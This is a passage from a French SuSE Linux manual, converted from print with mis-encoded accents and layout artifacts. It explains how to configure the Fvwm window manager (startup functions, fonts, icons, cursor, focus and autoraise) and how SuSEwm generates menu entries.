  17990.  
  17991.                            Continuez α ``feuilleter'' pour arriver au commentaire du fichier 9.4.1
  17992.  
  17993.                            ________________________________________________________________________________________________________*
  17994.  *________
  17995.                            | #########################################################                                             *
  17996.  *         |
  17997.                            |                                                                                                       *
  17998.  *         |
  17999.                            | #                                                                                               #     *
  18000.  *         |
  18001.                            | #     initialization  function  head                                         #                        *
  18002.  *         |
  18003.                            |                                                                                                       *
  18004.  *         |
  18005.                            | #     common  to  all  wms                                                            #               *
  18006.  *         |
  18007.                            | #                                                                                               #     *
  18008.  *         |
  18009.                            | #########################################################                                             *
  18010.  *         |
  18011.                            |_______________________________________________________________________________________________________*
  18012.  *________ |
  18013.  
  18014.                                          fichier 9.4.1: InitFunction            dans le fichier ~/.fvwm2rc
  18015.  
  18016.  
  18017.                            └ la suite de cela, vous trouverez toutes les actions exΘcutΘes lors du redΘ-
  18018.                            marrage de Fvwm. Le module FvwmBanner  est chargΘ (le logo), plusieurs
  18019.                            xterm sont lancΘs et un xpmroot  est appelΘ. Ce programme sert α mettre des
  18020.                            images en arriΦre-plan (dans la fenΩtre racine). Vous pouvez utiliser ici tous
  18021.                            les programmes capables d'Θlaborer l'image d'arriΦre-plan (par exemple xse-
  18022.                            troot , xearth , xv , etc.).
  18023.  
  18024.  
  18025. 278
  18026.        _______________________________________________________________________________________9.4.__Configuration_de_Fvwm__________*
  18027.  *______________________
  18028.  
  18029.  
  18030.  
  18031. Citons encore un exemple avec le programme xv :
  18032.       +   "I"   Exec  xv  -quit  -root  -owncmap  -maxpect  ~/pics/bild13.png
  18033.  
  18034. Vous devrez encore spΘcifier l'image d'arriΦre-plan lors des actions exΘcutΘes
  18035. au cours du lancement de Fvwm. Cela signifie que vous devrez intΘgrer ces
  18036. actions dans RestartFunction              . Vous les trouverez dans le fichier 9.4.2.
  18037.        _______________________________________________________________________________________________________________________
  18038.        |||||||| #########################################################                                                      |
  18039.        ||||||||                                                                                                                |
  18040.        |||||||| #                                                                                               #              |
  18041.        |||||||| #     restart  function                                                              #                         |
  18042.        ||||||||                                                                                                                |
  18043.        |||||||| #     common  to  all  wms                                                            #                        |
  18044.        |||||||| #                                                                                               #              |
  18045.        |||||||| #########################################################                                                      |
  18046.        ||||||||_______________________________________________________________________________________________________________ |
  18047.  
  18048.                fichier 9.4.2: InitFunction            dans le fichier ~/.fvwm2rc
  18049.  
  18050.  
  18051. Souvent InitFunction            et RestartFunction               ont une trΦs grande ressem-
  18052. blance, elles ont d'ailleurs toutes les deux quelque chose α voir dans le dΘmar-
  18053. rage du gestionnaire de fenΩtres. Mais dans RestartFunction              , on renonce
  18054. en gΘnΘral α lancer le drapeau du gestionnaire de fenΩtres. Il existe, en plus
  18055. de InitFunction            et RestartFunction              , une ExitFunction           . Comme son
  18056. nom  peut  le  laisser  supposer,  il  s'agit  d'une  fonction  de  ``nettoyage''  dans
  18057. laquelle on spΘcifie les programmes α lancer avant de redΘmarrer le gestion-
  18058. naire de fenΩtres ou avant de le quitter. Il est ainsi possible d'effacer l'image
  18059. d'arriΦre-plan avant que le redΘmarrage du gestionnaire de fenΩtres provoque
  18060. le lancement d'une nouvelle image.
  18061.  
  18062.  
  18063. Couleurs et polices
  18064.  
  18065. Les  paramΦtres  concernant  les  couleurs  et  les  polices  se  trouvent  dans  le
  18066. fichier 9.4.3.
  18067.        _______________________________________________________________________________________________________________________||
  18068.        |||||||| #########################################################                                                      |
  18069.        |||||||| #                                                                                               #              |
  18070.        ||||||||                                                                                                                |
  18071.        |||||||| #     colors  and  fonts                                                              #                        |
  18072.        |||||||| #                                                                                               #              |
  18073.        |||||||| #########################################################                                                      |
  18074.        ||||||||_______________________________________________________________________________________________________________ |
  18075.  
  18076. fichier 9.4.3: Configuration des couleurs et polices de caractΦres dans le fi-
  18077. chier ~/.fvwm2rc
  18078.  
  18079.  
  18080. Vous pouvez ici vous en donner α coeur joie. Choisissez les couleurs qui vous
  18081. plaisent le mieux. Vous pouvez prendre toutes celles qui sont installΘes. Les
  18082. couleurs installΘes dΘpendent surtout de votre carte graphique. Cliquez avec le
  18083. bouton droit de la souris et allez dans le menu `System'. De lα, vous passerez
  18084. au  menu  `Information'.  Vers  la  fin,  vous  verrez  une  entrΘe  `XColors'.
  18085. Activez-la et vous verrez apparaεtre une fenΩtre avec une palette de toutes les
  18086. couleurs  connues  du  systΦme.  Vous  pourrez  en  sΘlectionner  une.  Les  noms
  18087. des couleurs se trouvent dans le fichier /usr/X11R6/lib/X11/rgb.txt
  18088.  
  18089. Un peu plus bas, vous dΘcouvrirez des lignes ayant cet aspect :
  18090.       WindowFont   -misc-fixed-bold-r-normal-*-13-*-75-75-c-80-iso8859-1
  18091.  
  18092.  
  18093.                                                                                                                                    *
  18094.  *   279
  18095. 9.  Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
  18096.  *_______________________________________@
  18097.  
  18098.  
  18099.  
  18100.                            C'est la dΘsignation systΘmatique d'une police (angl. font) dans le systΦme
  18101.                            X Window. Chaque police est dΘsignΘe de cette maniΦre. Il conviendrait ici
  18102.                            de  donner  quelques  explications  sur  les  ΘlΘments  qui  composent  les  noms
  18103.                            mais  cela  pourrait  mener  trΦs  loin.  Pour  ne  pas  rendre  les  choses  trop  dif-
  18104.                            ficiles  α  superviser,  nous  dirons  simplement  qu'il  existe  toute  une  sΘrie  de
  18105.                            surnoms (angl. alias) pour ces polices. Les jeux de caractΦres se trouvent ha-
  18106.                            bituellement dans le rΘpertoire /usr/X11R6/lib/X11/fonts. Chacun des
  18107.                            sous-rΘpertoires abrite un fichier fonts.alias qui contient les abrΘviations
  18108.                            en usage pour les diffΘrentes polices :
  18109.  
  18110.                                  variable   -*-helvetica-bold-r-normal-*-*-120-*-*-*-*-iso8859-1
  18111.                                  5x7           -misc-fixed-medium-r-normal--7-70-75-75-c-50-iso8859-1
  18112.                            Ces noms sont dΘjα plus faciles α retenir.
  18113.                            Ic⌠nes
  18114.  
  18115.  
  18116.                            Dans  l'environnement  que  nous  donnons  en  exemple,  il  est  question  des
  18117.                            ic⌠nes (voir fichier 9.4.4).
  18118.  
  18119.                            ________________________________________________________________________________________________________*
  18120.  *________||
  18121.                            | #                                                                                                     *
  18122.  *         |
  18123.                            | #  others                                                                                             *
  18124.  *         |
  18125.                            | #                                                                                                     *
  18126.  *         |
  18127.                            |                                                                                                       *
  18128.  *         |
  18129.                            |                                                                                                       *
  18130.  *         |
  18131.                            | Style   "xterm"                Icon  Terminal.xpm                                                     *
  18132.  *         |
  18133.                            | Style   "xosview"             NoTitle,  Sticky                                                        *
  18134.  *         |
  18135.                            | Style   "xosview"             UsePPosition                                                            *
  18136.  *         |
  18137.                            |_______________________________________________________________________________________________________*
  18138.  *________ |
  18139.  
  18140.                                                     fichier 9.4.4: Ic⌠nes pour certaines fenΩtres
  18141.  
  18142.  
  18143.                            Vous pouvez attribuer ici une ic⌠ne α vos diffΘrentes applications. Vous de-
  18144.                            vez  seulement  tenir  compte  du  fait  que  l'ic⌠ne  doit  aussi  se  trouver  dans
  18145.                            IconPath         qui est placΘ vers le dΘbut du fichier ~/.fvwm2rc. Vous pouvez
  18146.                            en principe utiliser toute ic⌠ne qui se trouve dans l'un des chemins d'accΦs
  18147.                            mentionnΘs aprΦs PixmapPath         .
  18148.  
  18149.                            Pour toutes les ic⌠nes provenant d'un rΘpertoire qui n'est pas situΘ dans ce
  18150.                            chemin, vous devrez spΘcifier le chemin complet.
  18151.  
  18152.                            Supposons  que  vous  vouliez  attribuer  α  ghostview   un  fant⌠me  comme
  18153.                            ic⌠ne.  Regardez  sous  le  chemin  et  vous  trouverez  une  ic⌠ne  du  nom  de
  18154.                            ghostbusters.xpm. Ajouter la ligne suivante α la section :
  18155.  
  18156.                                  Style     "ghostview"     Icon  ghostbusters.xpm
  18157.  
  18158.                            Maintenant c'est fait. Vous pouvez de la mΩme maniΦre attribuer des ic⌠nes
  18159.                            α presque toutes les applications. La plupart des applications possΦdent dΘjα
  18160.                            leur ic⌠ne standard. Vous devez absolument connaεtre le vrai nom de l'appli-
  18161.                            cation (plus exactement le nom de la fenΩtre de l'application) car un xTerm      α
  18162.                            la place d'un xterm      ne donnerait aucun rΘsultat. On dΘcouvre le nom d'une
  18163.                            fenΩtre en appelant, α partir du menu (`Window  Manager' ! `Modules'),
  18164.                            le  module  `Ident'  (nom  de  programme  FvwmIdent )  et  en  cliquant  sur  la
  18165.                            fenΩtre correspondante.
  18166.  
  18167.  
  18168.  
  18169. 280
  18170.        _______________________________________________________________________________________9.4.__Configuration_de_Fvwm__________*
  18171.  *______________________
  18172.  
  18173.  
  18174.  
  18175. Curseur
  18176.  
  18177. La forme et l'aspect du curseur sont Θgalement modifiables. On se sert pour
  18178. cela  du  programme  xsetroot  qui  peut  aussi,  dans  une  certaine  limite,  Ωtre
  18179. utilisΘ pour insΘrer une image d'arriΦre-plan. Il est appelΘ par la commande :
  18180.  
  18181.       tux@terre:  >  xsetroot  -cursor  <bitmapfile>
  18182.  
  18183. La  variable  <bitmapfile>               dΘsigne  ici  n'importe  quel  bitmap.  De  fa-
  18184. τon  standard,  les  bitmaps  sont  situΘs  sous  /usr/X11R6/include/X11/
  18185. bitmaps. Vous pouvez choisir celui qui vous convient ou en crΘer un vous-
  18186. mΩme, par exemple avec bitmap .
  18187.  
  18188.  
  18189.  
  18190. Focus
  18191.  
  18192.  
  18193. Une  caractΘristique  particuliΦrement  apprΘciΘe  que  possΦde  la  famille  des
  18194. gestionnaires de fenΩtres Fvwm est la possibilitΘ qu'il donne de dΘterminer,
  18195. en cours d'exΘcution, le comportement des fenΩtres lors du changement de
  18196. la fenΩtre active. Outre la modification du temps d'exΘcution, on peut aussi
  18197. paramΘtrer de faτon permanente le comportement du focus et de l'ΘlΘvation
  18198. (angl. raising) dans le fichier de configuration.
  18199.  
  18200. Par focus, on dΘsigne la propriΘtΘ du gestionnaire de fenΩtres de transmettre
  18201. les entrΘes actuelles et les clics de souris α une fenΩtre dΘterminΘe. Il existe
  18202. trois possibilitΘs :
  18203.  
  18204.  
  18205.   ~   On doit cliquer sur une fenΩtre pour pouvoir par exemple transmettre des
  18206.       entrΘes clavier au processus en cours d'exΘcution dans cette fenΩtre. Ceci
  18207.       s'appelle en anglais click to focus et se retrouve aussi, de faτon standard
  18208.       sous Windows ou OS/2.
  18209.  
  18210.   ~   Avec le pointeur de la souris, on parcourt la surface d'une fenΩtre et celle-
  18211.       ci  possΦde  automatiquement  le  focus.  Ceci  est  dΘsignΘ  par  l'expression
  18212.       focus follows mouse. Si le pointeur de la souris quitte la fenΩtre, mΩme si
  18213.       ce n'est pas pour passer α une autre fenΩtre mais pour rester sur le fond
  18214.       d'Θcran, le focus quitte aussi la fenΩtre qui le possΘdait encore jusque lα.
  18215.  
  18216.   ~   Pour Fvwm et Fvwm95, il existe une variante plus poussΘe qui est le com-
  18217.       portement configurable sloppy focus. Le focus a alors le mΩme compor-
  18218.       tement que focus follows mouse, α cette diffΘrence prΦs qu'il reste dans la
  18219.       fenΩtre activΘe aussi longtemps qu'on n'active pas une autre fenΩtre. Cela
  18220.       signifie que le focus reste dans la fenΩtre activΘe mΩme lorsque le pointeur
  18221.       de la souris se trouve sur le fond d'Θcran.
  18222.  
  18223.  
  18224. Avec Fvwm, on peut dΘterminer le comportement du focus individuellement
  18225. pour  chaque  fenΩtre.  Comme  pour  beaucoup  d'autres  configurations,  ceci
  18226. s'obtient par une commande Style :
  18227.  
  18228.       Style  "*"  ClickToFocus
  18229.  
  18230. Cela dΘtermine la stratΘgie ClickToFocus            pour toutes les fenΩtres. On peut
  18231. faire la mΩme chose pour les paramΦtres SloppyFocus           et FocusFollowsMouse               ,
  18232. ce dernier Θtant prΘvu par dΘfaut pour Fvwm.
  18233.  
  18234.  
  18235.  
  18236.                                                                                                                                    *
  18237.  *   281
  18238. 9.  Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
  18239.  *_______________________________________@
  18240.  
  18241.  
  18242.  
  18243.                            9.4.1      Auto-ΘlΘvation
  18244.                            Tout  comme  le  focus,  le  comportement  d'ΘlΘvation,  c'est-α-dire  la  mise  en
  18245.  
  18246.                            avant-plan d'une fenΩtre, joue un r⌠le important. Une fenΩtre conserve tou-
  18247.                            jours par dΘfaut une position relative par rapport aux autres fenΩtres (elle se
  18248.                            trouve devant ou derriΦre) jusqu'α ce qu'elle soit placΘe en avant-plan par un
  18249.                            clic sur la bordure ou la barre de titres.
  18250.  
  18251.                            Mais de nombreux utilisateurs sont habituΘs α ce qu'une fenΩtre apparaisse
  18252.                            en avant-plan lorsqu'ils la parcourent avec la souris. On appelle ce comporte-
  18253.                            ment auto-ΘlΘvation (angl. autoraising). Il n'a toutefois de sens que conjointe-
  18254.                            ment α FocusFollowsMouse                ou SloppyFocus          . Avec ClickToFocus            (confi-
  18255.                            guration par dΘfaut de Fvwm95) il ne produit aucun effet.
  18256.  
  18257.                            Pour pouvoir utiliser la fonction d'auto-ΘlΘvation, on peut lancer le module
  18258.                            AutoRaise  de  Fvwm  α  partir  du  menu  (`Window  Manager',  `Modules',
  18259.                            `AutoRaise  On/Off').  Afin  que  la  fonction  d'auto-ΘlΘvation  soit  dispo-
  18260.                            nible  en  permanence,  le  fichier  de  configuration  de  Fvwm2  (~/.fvwm2rc)
  18261.                            doit contenir respectivement une entrΘe dans les fonctions InitFunction            et
  18262.                            RestartFunction               :
  18263.  
  18264.                                  Function  InitFunction
  18265.                                     +     "I"     Module    FvwmAuto  200
  18266.  
  18267.  
  18268.                                  Function  RestartFunction
  18269.                                     +     "I"     Module    FvwmAuto  200
  18270.  
  18271.                            La  valeur  200    indique,  en  milliΦmes  de  seconde,  le  dΘlai  aprΦs  lequel  une
  18272.                            fenΩtre est amenΘe en avant-plan. Ce dΘlai est nΘcessaire car autrement chaque
  18273.                            fenΩtre ``touchΘe'' viendrait immΘdiatement vers la haut ce qui provoquerait
  18274.                            un continuel scintillement :-)
  18275.  
  18276.  
  18277.                            9.5       Configuration du gestionnaire de fenΩtres avec SuSEwm
  18278.  
  18279.  
  18280.                            Qu'est-ce que SuSEwm ?
  18281.  
  18282.                            Le  programme  SuSEwm    ~  inclus  dans  le  paquetage  susewm  ~  simplifie
  18283.                            la  mise  en  oeuvre  des  gestionnaires  de  fenΩtres  Fvwm1 ,  Fvwm ,  Fvwm95 ,
  18284.                            Bowman ,  AfterStep ,  Ctwm ,  WindowMaker ,  Mwm 3   ainsi  que  l'utilisation
  18285.                            des bureaux de KDE  et du projet GNOME .
  18286.  
  18287.                            Comme  Fvwm1,  Fvwm,  Fvwm95,  Bowman  et  AfterStep  sont  basΘs  sur  le
  18288.                            mΩme gestionnaire de fenΩtres, ils sont configurΘs tous les cinq de la mΩme
  18289.                            maniΦre et prΘsentent aussi les mΩmes caractΘristiques.
  18290.  
  18291.                            Il  existe  cependant  quelques  diffΘrences,  parfois  considΘrables,  lors  de  la
  18292.                            configuration. Afin que l'utilisateur puisse bΘnΘficier des avantages communs
  18293.                            α ces gestionnaires de fenΩtres sans avoir α gΘrer cinq fichiers de configura-
  18294.                            tion, SuSEwm homogΘnΘise le plus possible leur configuration en utilisant un
  18295.                            langage macro abstrait.
  18296.  
  18297.                            Et mieux encore. MΩme les gestionnaires de fenΩtres Ctwm , Mwm , Window-
  18298.                            Maker , le kpanel de l'environnement de bureau KDE et le panel de l'environ-
  18299.                            _____________________________________________3
  18300.                               Le gestionnaire de fenΩtres Mwm  fait partie intΘgrante du produit commercial Metrolink
  18301.                            Motif. Dans le paquetage lesstif, vous trouverez une version libre.
  18302.  
  18303.  
  18304. 282
  18305.        _____________________________________9.5.__Configuration_du_gestionnaire_de_fenΩtres_avec_SuSEwm____________________________*
  18306.  *______________________
  18307.  
  18308.  
  18309.  
  18310. nement de bureau GNOME, qui sont absolument diffΘrents, sont Θgalement
  18311. configurΘs avec susewm . Cette configuration ne s'Θtend toutefois qu'aux me-
  18312. nus gΘnΘrΘs automatiquement. Les menus pour ces gestionnaires de fenΩtres
  18313. ne peuvent pas Ωtre gΘnΘrΘs α partir du menu (par exemple dans Fvwm ) mais
  18314. sont toujours crΘΘs par SuSEconfig         au niveau systΦme.
  18315.  
  18316. Il peut Ωtre tenu compte des diffΘrences de configuration par des instructions
  18317. (angl. statements) spΘcifiques α chacun des gestionnaires de fenΩtres.
  18318.  
  18319. Avec  SuSEwm ,  les  menus  ou  le  cas  ΘchΘant  les  modules  supportΘs  par  le
  18320. gestionnaire de fenΩtres sont configurΘs en fonction des paquetages logiciels
  18321. effectivement installΘs : Il n'est pas crΘΘ d'entrΘe de menu pour les paquetages
  18322. non installΘs.
  18323.  
  18324. SuSEwm prΘsente d'autres fonctions particuliΦres qui sont :
  18325.  
  18326.   ~   Configuration  des  gestionnnaires  de  fenΩtres  ou  bureaux  suivants  :
  18327.       Fvwm1 ,  Fvwm ,  Fvwm95 ,  Bowman ,  AfterStep ,  Ctwm ,  Mwm ,  Win-
  18328.       dowMaker , GNOME Panel  et KDE Panel .
  18329.  
  18330.   ~   Un rΘpertoire central de bibliothΦques pour tous les gestionnaires de fe-
  18331.       nΩtres, des macros homogΦnes pour les diffΘrents fichiers de configura-
  18332.       tion.
  18333.  
  18334.   ~   Des fichiers de configuration supplΘmentaires pour les diffΘrents gestion-
  18335.       naires de fenΩtres permettant de tenir compte de leur particularitΘs respec-
  18336.       tives.
  18337.  
  18338.   ~   Prise en compte de fichiers de configuration supplΘmentaires pour les ges-
  18339.       tionnaires de fenΩtres. Il est en outre tenu compte, lors de la configura-
  18340.       tion dans l'ensemble du systΦme, de variables contenues dans /etc/rc.
  18341.       config.
  18342.  
  18343.   ~   Prise  en  compte  de  fichiers  sources  pour  un  utilisateur  dΘfini  (dans  son
  18344.       rΘpertoire personnel) lors de la configuration automatique.
  18345.  
  18346.   ~   CrΘation de fichiers de configuration spΘcifiques α l'utilisateur en tenant
  18347.       compte dans une trΦs large mesure des modifications qu'il a faites (aux
  18348.       anciens fichiers de configuration).
  18349.  
  18350.   ~   IntΘgration, lors de la crΘation des menus, de programmes commerciaux
  18351.       rΘpandus qui ne font pas partie de la distribution SuSE     Linux.
  18352.  
  18353.   ~   Basculement  aisΘ  entre  les  gestionnaires  de  fenΩtres  supportΘs  pendant
  18354.       l'exΘcution du systΦme sans qu'il soit nΘcessaire de modifier les scripts
  18355.       de dΘmarrage tels que par exemple ~/.xinitrc, pour autant que le ges-
  18356.       tionnaire de fenΩtres le permette.
  18357.  
  18358.  
  18359. 9.5.1      Ajouter des entrΘes au menu
  18360.  
  18361. Si vous voulez ajouter des entrΘes au menu SuSE     , vous devez crΘer des fi-
  18362. chiers ainsi que le montre le fichier 9.5.1 page suivante
  18363.  
  18364. Ici, les entrΘes pour Name[  : : : ]       et Exec     sont particuliΦrement importantes.
  18365. Les autres entrΘes sont optionnelles. Si vous inscrivez Type=TEXT         , tous les
  18366. programmes tourneront dans un terminal.
  18367.  
  18368. Afin  que  l'entrΘe  puisse  Ωtre  gΘnΘrΘe,  le  fichier  doit  avoir  le  nom  suivant  :
  18369. <paquetage>.<bin>.lnk                       .  La  variable  <paquetage>  doit  Ωtre  rempla-
  18370.  
  18371.  
  18372.                                                                                                                                    *
  18373.  *   283
  18374. 9.  Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
  18375.  *_______________________________________@
  18376.  
  18377.                            ________________________________________________________________________________________________________*
  18378.  *________||
  18379.                            | Name=PrinterNom[fr]=Imprimante                                                                        *
  18380.  *         |
  18381.                            ||Comment=Show  all  printers                                                                           *
  18382.  *         ||
  18383.                            | Commentaire[fr]=Montrer  toutes  les  imprimantes.                                                    *
  18384.  *         |
  18385.                            | Exec=klp                                                                                              *
  18386.  *         |
  18387.                            |                                                                                                       *
  18388.  *         |
  18389.                            | MiniIcon=printer.xpm                                                                                  *
  18390.  *         |
  18391.                            | Icon=printer.xpm                                                                                      *
  18392.  *         |
  18393.                            | Type=Application                                                                                      *
  18394.  *         |
  18395.                            |_______________________________________________________________________________________________________*
  18396.  *________ |
  18397.  
  18398.                                        fichier 9.5.1: fichier .lnk     de SuSEwm pour entrΘes de menu
  18399.  
  18400.  
  18401.  
  18402.                            cΘe  par  le  nom  du  paquetage  RPM  qui  contient  le  programme  concernΘ.
  18403.                            Dans  le  cas  o∙  vous  n'auriez  pas  installΘ  le  programme  α  partir  d'un  pa-
  18404.                            quetage RPM, vous pouvez inscrire par exemple <susewm>. Vous pouvez
  18405.                            remplacer <bin> par une valeur de votre choix qui peut Ωtre, par exemple,
  18406.                            le nom du programme α exΘcuter. Le nom du fichier devrait en outre se ter-
  18407.                            miner par .lnk et vous devez stocker ce fichier dans un rΘpertoire situΘ au
  18408.                            dessous de /etc/X11/susewm/AddEntrys. L'entrΘe sera alors faite dans un
  18409.                            sous-menu qui dΘpendra du rΘpertoire dans lequel vous aurez stockΘ le fichier.
  18410.  
  18411.  
  18412.                            Quand et comment utiliser SuSEwm ?
  18413.  
  18414.                            SuSEwm est normalement lancΘ par YaST  aprΦs l'installation de paquetages
  18415.                            et  adapte  toutes  les  configurations  valables  dans  l'ensemble  du  systΦme.  Il
  18416.                            existe 2 cas dans lesquels vous utilisez SuSEwm :
  18417.  
  18418.                              ~   Vous ne possΘdez pas encore votre propre fichier de configuration pour
  18419.                                  l'un  des  gestionnaires  de  fenΩtres  mentionnΘs.  Vous  dΘsirez  cependant
  18420.                                  avoir un tel fichier pour vous crΘer un environnement de travail personna-
  18421.                                  lisΘ indΘpendant de l'environnement du systΦme.
  18422.  
  18423.                              ~   Vous  avez  dΘjα  un  fichier  de  configuration  de  gestionnaires  de  fenΩtres
  18424.                                  mais vous avez installΘ ou dΘsinstallΘ des logiciels avec YaST  et les me-
  18425.                                  nus n'ont pas ΘtΘ actualisΘs.
  18426.  
  18427.  
  18428.                            Conditions
  18429.  
  18430.                            Les conditions suivantes doivent Ωtre remplies :
  18431.  
  18432.                              ~   Vous  vous  Ωtes  connectΘ  au  systΦme  comme  utilisateur  normal  (tel  que
  18433.                                  l'utilisateur exemple dΘfini lors de l'installation avec YaST ) en non pas
  18434.                                  en tant qu'utilisateur `root'.
  18435.  
  18436.  
  18437.                            Un exemple
  18438.  
  18439.                            Un bureau riche en couleurs est une belle chose, mais α quoi cela vous sert-il si
  18440.                            votre matΘriel (mΘmoire, processeur, disque dur) n'est pas assez performant ?
  18441.                            Un gestionnaire de fenΩtres ne devrait quand mΩme pas accaparer toutes les
  18442.                            ressources du systΦme en faisant un usage excessif d'ic⌠nes et en les animant
  18443.                            de faτon tout aussi excessive.
  18444.  
  18445.                            Nous allons donc vous dire ce que vous pouvez faire si vous avez l'impression
  18446.                            que votre machine est trop lente au lancement de Fvwm ou de Fvwm95 . Cette
  18447.                            lenteur est probablement due α plusieurs centaines d'ic⌠nes qui doivent Ωtre
  18448.  
  18449.  
  18450. 284
  18451.        _____________________________________9.5.__Configuration_du_gestionnaire_de_fenΩtres_avec_SuSEwm____________________________*
  18452.  *______________________
  18453.  
  18454.  
  18455.  
  18456. chargΘes les unes aprΦs les autres. Vous avez trois mΘthodes pour remΘdier α
  18457. cette situation :
  18458.  
  18459.   ~   Positionnez avec YaST   (`Administration  du  systΦme' ! `Modi-
  18460.       fier  le  fichier  de  configuration' la variable SUSEWM_XPM=no            .
  18461.       Au cas o∙ vous auriez modifiΘ la variable ci-dessus directement dans le
  18462.       fichier /etc/rc.config, n'oubliez pas de lancer ensuite SuSEconfig         .
  18463.  
  18464.   ~   DΘsinstallez le paquetage 3dpixms et, si vous ne voulez pas non plus de
  18465.       grandes ic⌠nes, le paquetage 3dpixm.
  18466.  
  18467.   ~   Supprimez les ic⌠nes dans le fichier de configuration.
  18468.  
  18469. Il ne semble pas nΘcessaire de commenter plus longuement la premiΦre mΘ-
  18470. thode.
  18471.  
  18472. La deuxiΦme mΘthode est tout aussi simple : lancez YaST , dΘsinstallez les pa-
  18473. quetages mentionnΘs plus haut et mettez-vous α l'aise. YaST  veille, conjoin-
  18474. tement α SuSEwm  et α SuSEconfig        , α ce que le fichier de configuration du
  18475. gestionnaire de fenΩtres soit modifiΘ dans ce sens. Si vous avez un fichier de
  18476. configuration personnel, vous devez explicitement le faire mettre α jour : utili-
  18477. sez le menu gestionnaire de fenΩtres comme il est dΘcrit α la page prΘcΘdente
  18478. et pages suivantes.
  18479.  
  18480. La troisiΦme mΘthode : Si vous n'avez pas encore de fichier de configuration
  18481. personnel, vous pouvez vous en faire ``mijoter'' un selon la recette dΘcrite au
  18482. paragraphe 9.5.1 page ci-contre. Supprimez dans ce fichier toutes les entrΘes
  18483. de menus qui font rΘfΘrence aux ic⌠nes. L'Θtat de dΘpart dans le fichier 9.5.2
  18484. doit Ωtre modifiΘ selon l'exemple prΘsentΘ dans le fichier 9.5.3.
  18485.  
  18486.        _______________________________________________________________________________________________________________________||
  18487.        |||||||| AddToMenu  thiswmpopup  "Fvwm2"     Title                                                                      |
  18488.        ||||||||                                                                                                                |
  18489.        |||||||| +  "Autre  gestionnaire  de  fenΩtres%small.warning_3d.xpm%"  \                                                |
  18490.        ||||||||                                                                                                                |
  18491.        ||||||||                                                                           Popup  otherwmpopup                  |
  18492.        |||||||| +  "Configuration%small.checklist2_3d.xpm%"          Popup  susewmpopup                                        |
  18493.        |||||||| +  ""                                                                    Nop                                   |
  18494.        |||||||| +  "Fvwm2  Nouveau  dΘmarrage%small.restart_suse_3d.xpm%"  Restart  fvwm2                                      |
  18495.        ||||||||                                                                                                                |
  18496.        |||||||| +  "Quitter  Fvwm2  et  X%small.exit.xpm%"              Function  QuitSave                                     |
  18497.        ||||||||                                                                                                                |
  18498.        |||||||| #  end  popup  thiswmpopup                                                                                     |
  18499.        ||||||||_______________________________________________________________________________________________________________ |
  18500.            fichier 9.5.2: .fvwm2rc        avec ic⌠nes pour les entrΘes de menus
  18501.  
  18502.  
  18503.        _______________________________________________________________________________________________________________________||||
  18504.  
  18505.        |||||||| AddToMenu  thiswmpopup  "Fvwm2"     Title                                                                      |
  18506.        ||||||||                                                                                                                |
  18507.        |||||||| +  "Autre  gestionnaire  de  fenΩtres"  Popup  otherwmpopup                                                    |
  18508.        |||||||| +  "Configuration"                            Popup  susewmpopup                                               |
  18509.        |||||||| +  ""                                                Nop                                                       |
  18510.        |||||||| +  "Fvwm2  Nouveau  dΘmarrage"             Restart  fvwm2                                                      |
  18511.        ||||||||                                                                                                                |
  18512.        |||||||| +  "Quitter  Fvwm2  et  X"                    Function  QuitSave                                               |
  18513.        ||||||||                                                                                                                |
  18514.        |||||||| #  end  popup  thiswmpopup                                                                                     |
  18515.        ||||||||_______________________________________________________________________________________________________________ |
  18516.            fichier 9.5.3: .fvwm2rc        sans ic⌠nes pour les entrΘes de menus
  18517.  
  18518.  
  18519. Fvwm  ou selon le cas Fvwm95  devrait dΘmarrer beaucoup plus rapidement.
  18520. Et comme nous l'avons dΘjα prΘcisΘ, vous conserverez toutes les modifica-
  18521.  
  18522.  
  18523.                                                                                                                                    *
  18524.  *   285
  18525. 9.  Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
  18526.  *_______________________________________@
  18527.  
  18528.  
  18529.  
  18530.                            tions  que  vous  apportΘes  α  votre  fichier  de  configuration  personnel  si  vous
  18531.                            lancez de nouveau SuSEwm α quelque moment que ce soit.
  18532.  
  18533.  
  18534.  
  18535.                            9.6       Configuration gΘnΘrale du systΦme X Window
  18536.  
  18537.  
  18538.                            Comme nous l'avons promis, nous allons maintenant nous occuper de l'aspect
  18539.                            et des fonctions de votre bureau ~ pourquoi se contenter de prΩt α porter quand
  18540.                            on peut avoir du sur mesure ?
  18541.  
  18542.                            Il y a deux endroits o∙ vous pouvez faire des retouches :
  18543.  
  18544.  
  18545.                              ~   les paramΦtres par dΘfaut des applications du systΦme X Window
  18546.  
  18547.                              ~   le ou les fichiers de configuration dΘjα prΘsentΘs α la page 277.
  18548.  
  18549.  
  18550.                            ParamΦtres par dΘfaut des applications X Window
  18551.  
  18552.  
  18553.                            Configuration globale
  18554.  
  18555.                            Presque toutes les applications programmΘes pour le systΦme X Window ont
  18556.                            une configuration prΘdΘfinie. Celle-ci se trouve dans un fichier faisant partie
  18557.                            du paquetage correspondant et elle est habituellement copiΘe, lors de l'instal-
  18558.                            lation, dans le rΘpertoire /usr/X11R6/lib/X11/app-defaults. On trouve
  18559.                            ici des fichiers tels que Xarchie. Comme son nom le laisse supposer, il s'agit
  18560.                            d'un fichier central de configuration pour le programme xarchie . Donnez un
  18561.                            coup d'oeil α ce fichier en utilisant. pour cela less     (voir paragraphe 19.7.3
  18562.                            page 489). Vous y verrez des lignes semblables α celle-ci :
  18563.  
  18564.                                  Xarchie.color*background:  powder  blue
  18565.  
  18566.                            Ne vous laissez pas effrayer par des lignes qui paraissent cryptiques, il n'est
  18567.                            pas nΘcessaire de tout comprendre immΘdiatement. Chaque programme sous
  18568.                            X est construit α partir de ``widgets''. On doit considΘrer les widgets plus ou
  18569.                            moins comme des ``pierres α bΓtir''.
  18570.  
  18571.                            Il  existe  un  widget  principal  qui  est  la  fenΩtre  principale  de  l'application
  18572.                            lancΘe en premier. Tous les autres widgets sont en quelque sorte les enfants de
  18573.                            cette fenΩtre principale. Chaque widget a donc exactement un ancΩtre. Il peut
  18574.                            n'avoir aucun descendant mais peut aussi en avoir un ou plusieurs. Chacun
  18575.                            de ces widgets peut avoir un nom qui le distingue clairement des autres.
  18576.  
  18577.                            Pour augmenter encore un peu la confusion gΘnΘrale, nous devons prΘciser
  18578.                            qu'il convient de faire la diffΘrence entre fenΩtres et widgets. Une barre de
